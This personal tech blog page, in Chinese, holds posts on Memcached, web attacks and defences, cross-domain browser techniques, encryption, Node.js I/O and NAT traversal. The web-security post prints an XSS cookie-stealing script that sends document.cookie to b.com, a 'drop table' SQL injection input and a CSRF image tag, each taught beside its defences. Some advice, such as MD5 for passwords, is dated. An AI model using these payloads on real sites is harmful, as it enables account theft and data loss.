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    不急不徐,持之以恒。

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    2014年10月22日 #

    互聯(lián)網(wǎng)上的應(yīng)用、網(wǎng)站,隨著用戶的增長,功能的增強,會導(dǎo)致服務(wù)器超載,響應(yīng)變慢等問題。緩存技術(shù)是減輕服務(wù)器壓力、加快服務(wù)響應(yīng)時間、提升用戶體驗的有效途徑。Memcached是非常流行的緩存系統(tǒng),這里介紹對Memcached的安裝、設(shè)定,以及在集群環(huán)境下的使用。

    Memcached簡介

    Memcached是一個開源、高性能、分布式的內(nèi)存緩存系統(tǒng),用于加速動態(tài)網(wǎng)站的訪問,減輕數(shù)據(jù)庫負載。

    Memcached使用了Slab Allocator的機制分配、管理內(nèi)存,解決了內(nèi)存碎片的問題。

    Memcached雖然可以在多線程模式下運行,但線程數(shù)通常只需設(shè)定為與CPU數(shù)量相同,這一點與Nginx的設(shè)定類似。

    Memcached使用

    安裝:

    在CentOS下使用下面的命令安裝:

    sudo yum install memcached 

    啟動:

    memcached -m 100 -p 11211 -d -t 2 -c 1024 -P /tmp/memcached.pid 

    -m 指定使用的內(nèi)存容量,單位MB,默認64MB。

    -p 指定監(jiān)聽的TCP端口,默認11211。

    -d 以守護進程模式啟動。

    -t 指定線程數(shù),默認為4。

    -c 最大客戶端連接數(shù),默認為1024。

    -P 保存PID文件。

    關(guān)閉:

    kill `cat /tmp/memcached.pid` 

    測試:

    使用telnet連接memcached服務(wù)。

    telnet localhost 11211 

    存儲命令格式:

    set foo 0 0 4 abcd STORED  <command name> <key> <flags> <exptime> <bytes> <data block>  <command name> set, add, replace等 <key> 關(guān)鍵字 <flags> 整形參數(shù),存儲客戶端對鍵值的額外信息,如值是壓縮的,是字符串,或JSON等 <exptime> 數(shù)據(jù)的存活時間,單位為秒,0表示永遠 <bytes> 存儲值的字節(jié)數(shù) <data block> 存儲的數(shù)據(jù)內(nèi)容 

    讀取命令格式:

    get foo VALUE foo 0 4 abcd END  <command name> <key>  <command name> get, gets。gets比get多返回一個數(shù)字,這個數(shù)字檢查數(shù)據(jù)有沒有發(fā)生變化,當(dāng)key對應(yīng)的數(shù)據(jù)改變時,gets多返回的數(shù)字也會改變。 <key> 關(guān)鍵字  返回的數(shù)據(jù)格式:  VALUE <key> <flags> <bytes> 

    CAS(checked and set):

    cas foo 0 0 4 1 cdef STORED  cas <key> <flags> <exptime> <bytes> <version>  除最后的<version>外,其他參數(shù)與set, add等命令相同,<version>的值需要與gets獲取的值相同,否則無法更新。 incr, decr可對數(shù)字型數(shù)據(jù)進行原子增減操作。 

    全局統(tǒng)計信息

    stats STAT pid 10218 STAT time 1432611519 STAT curr_connections 6 STAT total_connections 9 STAT connection_structures 7 STAT reserved_fds 10 STAT cmd_get 5 STAT cmd_set 1 STAT cmd_flush 0 STAT cmd_touch 0 STAT get_hits 3 STAT get_misses 2 STAT delete_misses 0 STAT delete_hits 0 ... END 

    Memcached集群

    Memcached本身不做任何容錯處理,對故障節(jié)點的處理方式完全取決于客戶端。對Memcached的客戶端來說,不能使用普通的哈希算法(哈希取模)來尋找目標Server,因為這樣在有緩存節(jié)點失效時,會導(dǎo)致大面積緩存數(shù)據(jù)不可用。如下圖:

    當(dāng)Server3失效后,客戶端需要根據(jù)可用Server數(shù)量重新計算緩存的目標Server,這時,Key的哈希值為10的數(shù)據(jù)被指定為由Server1維護,這時原本Server2上可用的緩存也無效了。

    一致性哈希算法

    一致性哈希算法解決了在動態(tài)變化的緩存環(huán)境中,定位目標Server的問題,通常的實現(xiàn)可將它想像成一個閉合的環(huán)形。如下圖:

    當(dāng)有節(jié)點失效時,不會影響到正常工作的緩存服務(wù)器,只有原本分配到失效節(jié)點的緩存會被重新分配到下一個節(jié)點。如下圖:

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    posted @ 2015-05-31 17:18 老林 閱讀(1575) | 評論 (2)編輯 收藏

    對于一個Web應(yīng)用來說,可能會面臨很多不同的攻擊。下面的內(nèi)容將介紹一些常見的攻擊方法,以及面對這些攻擊的防御手段。

    一、跨站腳本攻擊(XSS)

    跨站腳本攻擊的英文全稱是Cross Site Script,為了和樣式表區(qū)分,縮寫為XSS。發(fā)生的原因是網(wǎng)站將用戶輸入的內(nèi)容輸出到頁面上,在這個過程中可能有惡意代碼被瀏覽器執(zhí)行。

    跨站腳本攻擊可以分為兩種:

    1). 反射型XSS

    它是通過誘使用戶打開一個惡意鏈接,服務(wù)端將鏈接中參數(shù)的惡意代碼渲染到頁面中,再傳遞給用戶由瀏覽器執(zhí)行,從而達到攻擊的目的。如下面的鏈接:

    http://a.com/a.jsp?name=xss<script>alert(1)</script> 

    a.jsp將頁面渲染成下面的html:

    Hello xss<script>alert(1)</script> 

    這時瀏覽器將會彈出提示框。

    2). 持久型XSS

    持久型XSS將惡意代碼提交給服務(wù)器,并且存儲在服務(wù)器端,當(dāng)用戶訪問相關(guān)內(nèi)容時再渲染到頁面中,以達到攻擊的目的,它的危害更大。

    比如,攻擊者寫了一篇帶惡意JS代碼的博客,文章發(fā)表后,所有訪問該博客文章的用戶都會執(zhí)行這段惡意JS。

    Cookie劫持

    Cookie中一般保存了當(dāng)前用戶的登錄憑證,如果可以得到,往往意味著可直接進入用戶帳戶,而Cookie劫持也是最常見的XSS攻擊。以上面提過的反射型XSS的例子來說,可以像下面這樣操作:

    首先誘使用戶打開下面的鏈接:

    http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 

    用戶打開鏈接后,會加載b.js,并執(zhí)行b.js中的代碼。b.js中存儲了以下JS代碼:

    var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 

    上面的代碼會向b.com請求一張圖片,但實際上是將當(dāng)前頁面的cookie發(fā)到了b.com的服務(wù)器上。這樣就完成了竊取cookie的過程。

    防御Cookie劫持的一個簡單的方法是在Set-Cookie時加上HttpOnly標識,瀏覽器禁止JavaScript訪問帶HttpOnly屬性的Cookie。

    XSS的防御

    1). 輸入檢查

    對輸入數(shù)據(jù)做檢查,比如用戶名只允許是字母和數(shù)字,郵箱必須是指定格式。一定要在后臺做檢查,否則數(shù)據(jù)可能繞過前端檢查直接發(fā)給服務(wù)器。一般前后端都做檢查,這樣前端可以擋掉大部分無效數(shù)據(jù)。

    對特殊字符做編碼或過濾,但因為不知道輸出時的語境,所以可能會做不適當(dāng)?shù)倪^濾,最好是在輸出時具體情況具體處理。

    2). 輸出檢查

    對渲染到HTML中內(nèi)容執(zhí)行HtmlEncode,對渲染到JavaScript中的內(nèi)容執(zhí)行JavascriptEncode。

    另外還可以使用一些做XSS檢查的開源項目。

    二、SQL注入

    SQL注入常常會聽到,它與XSS類似,是由于用戶提交的數(shù)據(jù)被當(dāng)成命令來執(zhí)行而造成的。下面是一個SQL注入的例子:

    String sql = "select * from user where username = '" + username + "'"; 

    像上面的SQL語句,如果用戶提交的username參數(shù)是leo,則數(shù)據(jù)庫執(zhí)行的SQL為:

    select * from user where username = 'leo' 

    但如果用戶提交的username參數(shù)是leo’; drop table user–,那執(zhí)行的SQL為:

    select * from user where username = 'leo'; drop table user--' 

    在查詢數(shù)據(jù)后,又執(zhí)行了一個刪除表的操作,這樣的后果非常嚴重。

    SQL注入的防御

    防止SQL注入最好的方法是使用預(yù)編譯語句,如下面所示:

    String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 

    不同語言的預(yù)編譯方法不同,但基本都可以處理。

    如果遇到無法使用預(yù)編譯方法時,只能像防止XSS那樣對參數(shù)進行檢查和編碼。

    三、跨站請求偽造(CSRF)

    跨站請求偽造的英文全稱是Cross Site Request Forgery,是由于操作所需的所有參數(shù)都能被攻擊者得到,進而構(gòu)造出一個偽造的請求,在用戶不知情的情況下被執(zhí)行??聪旅嬉粋€例子:

    如果a.com網(wǎng)站需要用戶登錄后可以刪除博客,刪除博客的請求地址如下:

    GET http://a.com/blog/delete?id=1 

    當(dāng)用戶登錄a.com后,又打開了http://b.com/b.html,其中有下面的內(nèi)容:

    <img src="http://a.com/blog/delete?id=1"/> 

    這時會以用戶在a.com的身份發(fā)送http://a.com/blog/delete?id=1,刪除那篇博客。

    CSRF的防御

    1. 驗證碼

    CSRF是在用戶不知情的情況下構(gòu)造的網(wǎng)絡(luò)情況,驗證碼則強制用戶與應(yīng)用交互,所以驗證碼可以很好得防止CSRF。但不能什么請求都加驗證碼。

    1. referer檢查

    檢查請求header中的referer也能幫助防止CSRF攻擊,但服務(wù)器不是總能拿到referer,瀏覽器可能出于安全或隱私而不發(fā)送referer,所以也不常用。倒是圖片防盜鏈中用得很多。

    1. Anti CSRF Token

    更多的是生成一個隨機的token,在用戶提交數(shù)據(jù)的同時提交這個token,服務(wù)器端比對后如果不正確,則拒絕執(zhí)行操作。

    四、點擊劫持(ClickJacking)

    點擊劫持是從視覺上欺騙用戶。攻擊者使用一個透明的iframe覆蓋在一個網(wǎng)頁上,誘使用戶在該網(wǎng)頁上操作,而實際點擊卻是點在透明的iframe頁面。

    點擊劫持延伸出了很多攻擊方式,有圖片覆蓋攻擊、拖拽劫持等。

    點擊劫持的防御

    針對iframe的攻擊,可使用一個HTTP頭:X-Frame-Options,它有三種可選值:

    • DENY: 禁止任何頁面的frame加載;
    • SAMEORIGIN:只有同源頁面的frame可加載;
    • ALLOW-FROM:可定義允許frame加載的頁面地址。

    針對圖片覆蓋攻擊,則注意使用預(yù)防XSS的方法,防止HTML和JS注入。

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    posted @ 2015-04-25 15:40 老林 閱讀(6289) | 評論 (2)編輯 收藏

    一、瀏覽器介紹

    對于Web應(yīng)用來說,瀏覽器是最重要的客戶端。

    目前瀏覽器五花八門多得不得了,除了Chrome、IE、Firefox、Safari、Opera這些國外的瀏覽器外,百度、騰訊、360、淘寶、搜狗、傲游之類的,反正能做的都做了。

    瀏覽器雖然這么多,但瀏覽器內(nèi)核主要就以下4種:

    1. Trident:IE使用的內(nèi)核。
    2. Gecko:Firefox使用的內(nèi)核。
    3. WebKit:Safair和Chrome使用的內(nèi)核。WebKit由蘋果發(fā)明,Chrome也用了,但是Google又開發(fā)了V8引擎替換掉了WebKit中的Javascript引擎。
    4. Presto:Opera使用的內(nèi)核。

    國內(nèi)的瀏覽器基本都是雙核瀏覽器,使用基于WebKit的內(nèi)核高速瀏覽常用網(wǎng)站,使用Trident內(nèi)核兼容網(wǎng)銀等網(wǎng)站。

    二、同源策略

    同源策略是瀏覽器最基本的安全策略,它認為任何站點的內(nèi)容都是不安全的,所以當(dāng)腳本運行時,只被允許訪問來自同一站點的資源。

    同源是指域名、協(xié)議、端口都相同。

    如果沒有同源策略,就會發(fā)生下面這樣的問題:

    惡意網(wǎng)站用一個iframe把真實的銀行登錄頁放到他的頁面上,當(dāng)用戶使用用戶名密碼登錄時,父頁面的javascript就可以讀取到銀行登錄頁表單中的內(nèi)容。

    甚至瀏覽器的1個Tab頁打開了惡意網(wǎng)站,另一個Tab頁打開了銀行網(wǎng)站,惡意網(wǎng)站中的javascript可以讀取到銀行網(wǎng)站的內(nèi)容。這樣銀行卡和密碼就能被輕易拿走。

    三、跨域訪問

    由于同源策略的原因,瀏覽器對跨域訪問做了很多限制,但有時我們的確需要做跨域訪問,那要怎么辦?主要有以下幾種情況:

    1. iframe的跨域訪問

    同域名下,父頁面可以通過document.getElementById(‘_iframe’).contentWindow.document訪問子頁面的內(nèi)容,但不同域名下會出現(xiàn)類似下面的錯誤:

    Uncaught SecurityError: Blocked a frame with origin “http://a.com” from accessing a frame with origin “http://b.com”. Protocols, domains, and ports must match.

    有兩種解決方法:

    1). 當(dāng)主域名相同,子域名不同時,比較容易解決,只需設(shè)置相同的document.domain即可。

    如http://a.a.com/a.html使用iframe載入http://b.a.com/b.html,且在a.html中有Javascript要修改b.html中元素的內(nèi)容時,可以像下面的代碼那樣操作。

    a.html

    <html>
    <head>
    <script>
    document.domain = 'a.com';
    function changeIframeContent() {
    var _iframe = document.getElementById('_iframe');
    var _p = _iframe.contentWindow.document.getElementById('_p');
    _p.innerHTML = 'Content from a.html';
    }
    </script>
    </head>
    <body>
    <iframe id="_iframe" src="http://b.a.com/demo/iframe/subdomain/b.html"></iframe>
    <br>
    <input type="button" value="Change iframe content" onclick="changeIframeContent();"/>
    </body>
    </html>

    b.html

    <html>
    <head>
    <script>
    document.domain = 'a.com';
    </script>
    </head>
    <body>
    <p id="_p">b.html</p>
    </body>
    </html>

    2). 當(dāng)主域名不同時,就非常麻煩了。大致的方法像下面描述的那樣:

    • a.com下有a.html;
    • a.html創(chuàng)建iframe加載b.com下的b.html,可在加載b.html時通過?或#將參數(shù)傳遞到b.html中;
    • b.html加載后,可以通過提取location.search或location.hash中的內(nèi)容獲取a.html傳過來的參數(shù);
    • b.html創(chuàng)建一個iframe,加載a.com下的c.html,并且參數(shù)也通過?或#傳給c.html;
    • 因為c.html和a.html是相同域名,所以c.html可以使用parent.parent訪問到a.html的對象,這樣也就可以將b.html需要傳遞的參數(shù)傳回到a.html中。

    2. Ajax的跨域訪問

    Ajax主要通過XMLHttpRequest對象實現(xiàn),但是如果通過XMLHttpRequest訪問不同域名下的數(shù)據(jù),瀏覽器會出現(xiàn)類似下面的錯誤:

    XMLHttpRequest cannot load http://b.com/demo/iframe/ajax/b.html. No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://a.com’ is therefore not allowed access.

    這時可由以下兩種方法解決:

    1). 使用<script>代替XMLHttpRequest,也就是JSONP的方法。利用<script>標簽的src下加載的js不受同源策略限制,并且加載后的js運行在當(dāng)前頁面的域下,所以可自由操作當(dāng)前頁面的內(nèi)容。

    下面的代碼演示了在a.com下的a.html通過b.com下的b.js中的內(nèi)容來更新自身的p標簽。

    a.html

    <html>
    <head>
    <script>
    function update_p (content) {
    document.getElementById("_p").innerHTML = content;
    }
    function getFromB() {
    var _script = document.createElement("script");
    _script.type = "text/javascript";
    _script.src = "http://b.com/demo/ajax/b.js";
    document.getElementsByTagName("head")[0].appendChild(_script);
    }
    </script>
    </head>
    <body>
    <p id="_p">a.html</p>
    <input type="button" value="Get from b.com" onclick="getFromB()"/>
    </body>
    </html>

    b.js

    update_p("content from b.js"); 

    在實際使用中,通常a.html會將update_p以callback參數(shù)名傳遞給b.com的服務(wù)器,服務(wù)器動態(tài)生成數(shù)據(jù)后,再用callback參數(shù)值包起來作為響應(yīng)回傳給a.html。

    2). 在b.com的服務(wù)器返回信息中增加以下頭信息:

    • Access-Control-Allow-Origin: http://a.com
    • Access-Control-Allow-Methods: GET

    此時瀏覽器便允許a.com讀取使用GET請求b.com的內(nèi)容。

    對于flash來說,會要求在網(wǎng)站根目錄下放一個名為crossdomain.xml的文件,以指明允許訪問的域名來源。文件中的內(nèi)容類似下面的樣子:

    <cross-domain-policy>
    <allow-access-from domain="*.a.com" />
    </cross-domain-policy>

    3. 使用HTML5的postMessage方法實現(xiàn)跨域訪問

    HTML5增加了跨文檔消息傳輸,下面的例子實現(xiàn)了使用postMessage在不同域間傳遞消息:

    a.html

    <html>
    <head>
    <script>
    function update_b () {
    var _iframe = document.getElementById("_iframe");
    _iframe.contentWindow.postMessage("content from a.html", "http://b.com");
    }
    </script>
    <head>
    <body>
    <iframe id="_iframe" src="http://b.com/demo/html5/b.html"></iframe>
    <br>
    <input type="button" value="Update b.html" onclick="update_b()"></input>
    </body>
    </html>

    b.html

    <html>
    <head>
    <script>
    window.addEventListener("message", function (event) {
    document.getElementById("_p").innerHTML = event.data;
    }, false);
    </script>
    </head>
    <body>
    <p id="_p">b.html</p>
    </body>
    </html>

    在postMessage中要指定接收方的域名,如果發(fā)現(xiàn)目標頁面的域名不正確,將拋出類似下面這樣的錯誤:

    Failed to execute ‘postMessage’ on ‘DOMWindow’: The target origin provided (‘http://c.com’) does not match the recipient window’s origin (‘http://b.com’).

    瀏覽器對跨域訪問的限制是出于安全考慮的,所以在使用一些方法實現(xiàn)跨域訪問時要特別小心。

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    posted @ 2015-04-22 00:15 老林 閱讀(32131) | 評論 (6)編輯 收藏

    一、安全的要素

    信息安全的核心問題是要保障數(shù)據(jù)的合法使用者能夠在任何需要該數(shù)據(jù)時獲得保密的,沒有被非法更改過的數(shù)據(jù)。主要有以下幾要素:

    機密性

    • 保證數(shù)據(jù)內(nèi)容不能泄露。
    • 用戶的密碼用明文保存,就破壞了機密性。

    完整性

    • 保證數(shù)據(jù)內(nèi)容不被篡改。
    • 使用HTTP提交數(shù)據(jù)時,數(shù)據(jù)在傳輸過程中被篡改后再發(fā)往服務(wù)器,就破壞了完整性。

    可用性

    • 保證數(shù)據(jù)可被正常訪問和使用。
    • 像拒絕服務(wù)攻擊(DoS)就是破壞了可用性。

    最基本的安全要素就上面三個,下面還有一些其他的。

    可審計性

    • 記錄對數(shù)據(jù)產(chǎn)生的操作,用于日后的分析、審查。

    不可抵賴性

    • 首先要保證數(shù)據(jù)完整性,然后,在傳輸?shù)臄?shù)據(jù)中必須攜帶用于身份識別的信息,且這部分信息在不同主體間不能發(fā)生碰撞。

    加密技術(shù)的使用

    上一篇《Web安全技術(shù)(1)-對加密機制的理解》中提到了三類加密算法,可以應(yīng)用于某些要素的安全保障。如下面的說明:

    對稱加密

    • 可保障機密性,對數(shù)據(jù)加密后存儲,可以使沒有密鑰的人員無法獲取數(shù)據(jù)內(nèi)容。

    非對稱加密

    • 可以對數(shù)據(jù)進行加密解密操作,所以也能像對稱加密一樣保障機密性;
    • 因為非對稱加密可以實現(xiàn)數(shù)字簽名,所以可以保證數(shù)據(jù)完整性。另外,由于是使用私鑰簽名,而私鑰只有數(shù)據(jù)發(fā)送方才有,所以如果公鑰可以驗簽成功,則發(fā)送方不可抵賴。

    摘要加密

    • 摘要算法可保障數(shù)據(jù)完整性。

    • 在某些網(wǎng)站的軟件下載頁面里,有時除了下載地址,旁邊還會有一個MD5碼。這個MD5就是對下載的軟件做的摘要加密。在下載完成后,在本機對下載的軟件做MD5,然后和網(wǎng)站上顯示的MD5做比較,如果相同就表示軟件被成功下載,而且下載過程中軟件內(nèi)容沒有被篡改。
    • 在做系統(tǒng)時,我們也經(jīng)常會對密碼做摘要加密后再保存,因為摘要加密的一個特性是不可逆,這樣通過數(shù)據(jù)庫中保存的加密后的密碼不可能還原成用戶的真實密碼。而用戶登錄時,只需將用戶提交的密碼再做摘要加密,然后與數(shù)據(jù)庫中保存的密碼比較,就能判斷用戶有沒有輸入正確的密碼。

    二、風(fēng)險分析

    對于數(shù)據(jù)可能會遇到什么威脅,一般是拍腦袋想一想,也可以使用模型幫忙,下面是一個叫STRIDE的威脅模型:

    如何評估風(fēng)險?

    數(shù)據(jù)受到威脅就可能造成損失,但損失有大有小,威脅發(fā)生的概率也有高有低,我們要結(jié)合具體情況來對風(fēng)險做出判斷。有一個叫DREAD的模型,可以指導(dǎo)我們?nèi)绾闻袛嗤{的風(fēng)險程度。

    每一個因素都分高、中、低三個等級,權(quán)重值分別為3、2、1。

    當(dāng)有一個威脅時,我們將它在每一個因素中的權(quán)重值相加,即可得出風(fēng)險系數(shù)。

    假如我們對風(fēng)險系數(shù)范圍的定義如下:

    高危:12~15分,中危:8~11分,低危:5~7分。

    那如果以使用明文保存密碼為例,風(fēng)險系數(shù)可能像下面這樣計算:

    風(fēng)險 = D(3) + R(1) + E(1) + A(3) + D(1) = 9分,這就是一個中危風(fēng)險。

    后續(xù)對威脅的處理,應(yīng)當(dāng)根據(jù)風(fēng)險的大小和修復(fù)的難易程度做出平衡。

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    posted @ 2015-04-17 23:47 老林 閱讀(5009) | 評論 (0)編輯 收藏

    加密算法

    數(shù)據(jù)加密算法有對稱加密、非對稱加密和信息摘要三類。

    對稱加密是使用單個密鑰對數(shù)據(jù)進行加密和解密。有DES、AES、RC-5等算法。

    非對稱加密是使用一對密鑰(公鑰和私鑰)對數(shù)據(jù)進行加密和解密。有RSA、ECC等算法。非對稱加密大概比對稱加密慢100倍以上。

    通常的用法如下:

    1. 使用公鑰加密數(shù)據(jù),使用私鑰解密數(shù)據(jù)。
    2. 使用私鑰簽名數(shù)據(jù),使用公鑰驗證簽名。

    信息摘要如果也算加密算法的話,它的加密過程不需要密鑰,并且經(jīng)過加密的數(shù)據(jù)無法被解密,它是根據(jù)不定長的明文計算得到一段定長的數(shù)據(jù)。有MD5、SHA1等算法。

    密鑰規(guī)范

    規(guī)范太多,網(wǎng)上講得很亂,挑常用的按我的理解列一下。

    密鑰格式:

    1. X.509:通用的證書格式,包括公鑰信息、用戶標識、簽發(fā)信息等。
    2. PKCS系統(tǒng)標準:美國RSA數(shù)據(jù)安全公司及其合作伙伴制定的一組公鑰密碼學(xué)標準。其中PKCS#8描述私有密鑰的信息格式,包括私鑰及可選的屬性集等。

    密鑰存儲:

    1. DER:二進制編碼。
    2. PEM:ASCII編碼。

    加密模式

    塊密碼自身只能加密長度等于密碼塊長度的單塊數(shù)據(jù),若要對變長數(shù)據(jù)進行加密,則必須事先將數(shù)據(jù)進行切分,而且最后一個數(shù)據(jù)塊需要適當(dāng)?shù)奶畛浞绞綌U展到密碼塊的長度。加密模式即塊密碼的工作模式,就是使用這些方式用同一個密鑰對多于一塊的數(shù)據(jù)進行加密。

    加密模式通常用于對稱加密,也可以用于非對稱加密。但非對稱加密通常不適合加密較長的信息,所以會使用混合加密代替。

    ps: 以RSA和DES為例,混合加密通常使用DES先加密明文,再使用RSA的公鑰加密DES的密鑰,再將2個密文一起傳遞出去。接收方使用RSA的私鑰解密DES的密鑰信息,再使用DES的密鑰解密具體內(nèi)容。

    最簡單的加密模式是ECB(即電子密碼本)。其他還有CBC、PCBC、CFB等。

    ECB和CBC需要對最后一塊進行填充,填充方法有很多種,最簡單的是先在明文的最后填充空字符,使明文長度為密碼塊長度的整數(shù)倍。

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    posted @ 2015-04-13 21:51 老林 閱讀(4936) | 評論 (0)編輯 收藏

    Linux操作系統(tǒng)的I/O模型

    JAVA的NIO引入了異步I/O,而Node.js宣稱的就是異步編程,I/O自然是異步的。其實操作系統(tǒng)在很早就引入了異步I/O的概念,如下圖(摘自Unix網(wǎng)絡(luò)編程中的圖片):

    我對上圖的理解有幾點:

    1. 從IO設(shè)備讀取數(shù)據(jù)到用戶內(nèi)存的整個過程都是由系統(tǒng)內(nèi)核來完成;
    2. 數(shù)據(jù)總是先被拷貝到內(nèi)核緩沖區(qū),再由內(nèi)核緩沖區(qū)拷貝到用戶內(nèi)存;
    3. 除了異步I/O,其余4種I/O模型其實都是阻塞的,至少在數(shù)據(jù)從內(nèi)核拷貝到用戶內(nèi)存時是阻塞的;
    4. 雖然異步I/O看上去是理想解決方案,但實現(xiàn)上現(xiàn)在用得最多的應(yīng)該是多路I/O復(fù)用,有select、poll、epoll的實現(xiàn),性能最好的是epoll;
    5. 異步I/O現(xiàn)在被認為有缺陷,僅支持O_DIRECT而無法支持系統(tǒng)緩存。

    Node.js中的異步I/O

    因為內(nèi)核中的異步I/O有缺陷,現(xiàn)實中的異步I/O通常由用戶態(tài)的線程池模擬完成,如下圖:

    Node.js中原本使用了libeio異步I/O庫,在v0.9.3后改為自己實現(xiàn)的線程池來完成異步I/O。所以在Node.js中,除了用戶的Javascript代碼是單線程外,所有I/O都是多線程并行執(zhí)行的。

    Node.js中的異步I/O調(diào)用

    Node.js通過事件循環(huán)的模式運行,在每一個循環(huán)的過程中,通過詢問一個或多個觀察者來判斷是否有事件要處理,而觀察者可以有文件I/O觀察者、網(wǎng)絡(luò)I/O觀察者等。

    Node.js中異步I/O調(diào)用的大致流程如下:

    • 發(fā)起I/O調(diào)用
      1. 用戶通過Javascript代碼調(diào)用Node核心模塊,將參數(shù)和回調(diào)函數(shù)傳入到核心模塊;
      2. Node核心模塊會將傳入的參數(shù)和回調(diào)函數(shù)封裝成一個請求對象;
      3. 將這個請求對象推入到I/O線程池等待執(zhí)行;
      4. Javascript發(fā)起的異步調(diào)用結(jié)束,Javascript線程繼續(xù)執(zhí)行后續(xù)操作。
    • 執(zhí)行回調(diào)
      1. I/O操作完成后,會將結(jié)果儲存到請求對象的result屬性上,并發(fā)出操作完成的通知;
      2. 每次事件循環(huán)時會檢查是否有完成的I/O操作,如果有就將請求對象加入到I/O觀察者隊列中,之后當(dāng)做事件處理;

    • 處理I/O觀察者事件時,會取出之前封裝在請求對象中的回調(diào)函數(shù),執(zhí)行這個回調(diào)函數(shù),并將result當(dāng)參數(shù),以完成Javascript回調(diào)的目的。

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    posted @ 2015-04-13 21:42 老林 閱讀(3972) | 評論 (0)編輯 收藏

    我們看看不同NAT之間的NAT打洞。NAT打洞需要Server配合,需要2種Server:
    1. 類似WebRTC中的信令服務(wù)器,作用是幫助客戶機溝通IP和PORT信息;
    2. STUN Server,用來讓客戶機判斷自己所在的NAT環(huán)境。
    現(xiàn)在假設(shè)客戶端和Server的通訊都沒問題,客戶端知道自己所處環(huán)境,并且將自己的信息通過服務(wù)器發(fā)送給了另一方客戶端,它們可能的打洞情況如下:
    1. Full Cone NAT 與 Full Cone NAT:通訊很容易,各自通過STUN Server獲取外部IP和Port后,通過信令服務(wù)器通知另一方,即可通訊。
    2. Full Cone NAT 與 Restricted Cone NAT或Port Restricted Cone NAT在互相告知IP和Port后,如果由Full Cone NAT端先發(fā)送數(shù)據(jù)包,會失敗,必須由Restricted Cone NAT或Port Restricted Cone NAT端先發(fā)送數(shù)據(jù)包給Full Cone NAT,之后雙方即可互相通訊。
    3. Full Cone NAT 與 Symmetric NAT通訊時,必須先由Symmetric NAT端發(fā)送數(shù)據(jù)包給Full Cone NAT端,F(xiàn)ull Cone NAT端通過發(fā)來的數(shù)據(jù)包獲得目標的新端口號,之后通過這個新端口號完成互相通訊。
    4. Restricted Cone NAT 與 Restricted Cone NAT、Restricted Cone NAT 與 Port Restricted Cone NAT、Port Restricted Cone NAT 與 Port Restricted Cone NAT之間通訊時,先發(fā)送數(shù)據(jù)包的一方會失敗,之后另一方發(fā)送數(shù)據(jù)包成功后,可互相通訊。
    5. Restricted Cone NAT 與 Symmetric NAT通訊時,先由Restricted Cone NAT發(fā)送數(shù)據(jù)包給Symmetric NAT,發(fā)送數(shù)據(jù)會失敗,只是為了下次能接收從Symmetric NAT端發(fā)送過來的數(shù)據(jù)包。然后由Symmetric NAT發(fā)送數(shù)據(jù)包到Restricted Cone NAT端,Restricted Cone NAT端會收到數(shù)據(jù)包,并且將新的端口號記下,使用新的端口號可與Symmetric NAT端通訊。
    6. Port Restricted Cone NAT 與 Symmetric NAT通訊時,由于Port Restricted Cone NAT會對IP:PORT對進行限制,所以當(dāng)Symmetric NAT端使用新PORT發(fā)來數(shù)據(jù)包時,Port Restricted Cone NAT端收不到,它們之間無法通訊。
    7. Symmetric NAT 與 Symmetric NAT也無法通訊 。
    posted @ 2014-10-23 14:17 老林 閱讀(6496) | 評論 (0)編輯 收藏

    針對收發(fā)UDP數(shù)據(jù),NAT可分為Full Cone、Restricted Cone、Port Restricted Cone、Symmetric NAT四類,在RFC3489中有定義(http://datatracker.ietf.org/doc/rfc3489/?include_text=1)。
    1. Full Cone:所有從相同的內(nèi)部IP和PORT發(fā)出的請求都映射為相同的外部IP和PORT,而后任何外部主機只要發(fā)送數(shù)據(jù)包給NAT的IP和PORT就會被轉(zhuǎn)發(fā)給內(nèi)部主機。
    從圖中可以看到,只要內(nèi)部主機通過NAT訪問了一次外部主機,在Mapping Table中會增加一條內(nèi)部IP:Port映射到NAT的端口,那么外部的任何主機都可以通過NAT的IP:PORT將數(shù)據(jù)發(fā)給內(nèi)部主機。
    2. Restricted Cone:所有從相同的內(nèi)部IP和PORT發(fā)出的請求都映射為相同的外部IP和PORT,但只有內(nèi)部主機曾發(fā)送過數(shù)據(jù)的外部IP才可將數(shù)據(jù)包通過NAT的IP:PORT發(fā)給內(nèi)部主機。
    從圖中可以看到,因為內(nèi)部主機沒有發(fā)過數(shù)據(jù)包給外部主機B,所以外部主機發(fā)到NAT的數(shù)據(jù)包無法發(fā)給內(nèi)部主機。
    3. Port Restricted Cone:和Restricted Cone類似,但是除了IP的限制外增加了PORT的限制,即只有內(nèi)部主機曾發(fā)送過數(shù)據(jù)的外部IP:PORT才可將數(shù)據(jù)包通過NAT的IP:PORT發(fā)給內(nèi)部主機。
    從圖中可以看到,外部主機1用另一個PORT無法將數(shù)據(jù)發(fā)到內(nèi)部主機。
    4. Symmetric NAT:從內(nèi)部主機相同的IP和PORT發(fā)出的請求,當(dāng)訪問不同外部IP和PORT時,都會在NAT上創(chuàng)建不同的映射。
    上圖中雖然內(nèi)部IP和PORT相同,但訪問不同的外部IP/PORT對,都會映射為不同的NAT PORT。當(dāng)外部主機發(fā)數(shù)據(jù)包給內(nèi)部主機時,也只能使用對應(yīng)的PORT。
    posted @ 2014-10-23 13:56 老林 閱讀(3314) | 評論 (0)編輯 收藏

    在使用WebRTC進行即時通訊時,需要使瀏覽器進行P2P通訊,但是由于NAT環(huán)境的復(fù)雜性,并不是所有情況下都能進行P2P,這時需要TURN Server來幫助客戶端之間轉(zhuǎn)發(fā)數(shù)據(jù)。rfc5766-turn-server是一個高性能的開源TURN Server實現(xiàn)。
    以下是在EC2上使用Ubuntu操作系統(tǒng)安裝rfc5766-turn-server:
    1. 下載安裝包:
    $ wget http://ftp.cn.debian.org/debian/pool/main/r/rfc5766-turn-server/rfc5766-turn-server_3.2.4.4-1_amd64.deb
    2. 安裝:
    $ sudo apt-get update
    $ sudo apt-get install gdebi-core
    $ sudo gdebi rfc5766-turn-server_3.2.4.4-1_amd64.deb
    安裝完后,在/usr/share/doc/rfc5766-turn-server下有很多文檔可參考。
    3. 配置:
    $ sudo vi /etc/turnserver.conf
    ---------------------------------------
    // 配置IP,EC2下需要配置listening-ip和external-ip
    listening-ip=172.31.4.37
    external-ip=54.223.149.60
    // 當(dāng)TURN Server用于WebRTC時,必須使用long-term credential mechanism
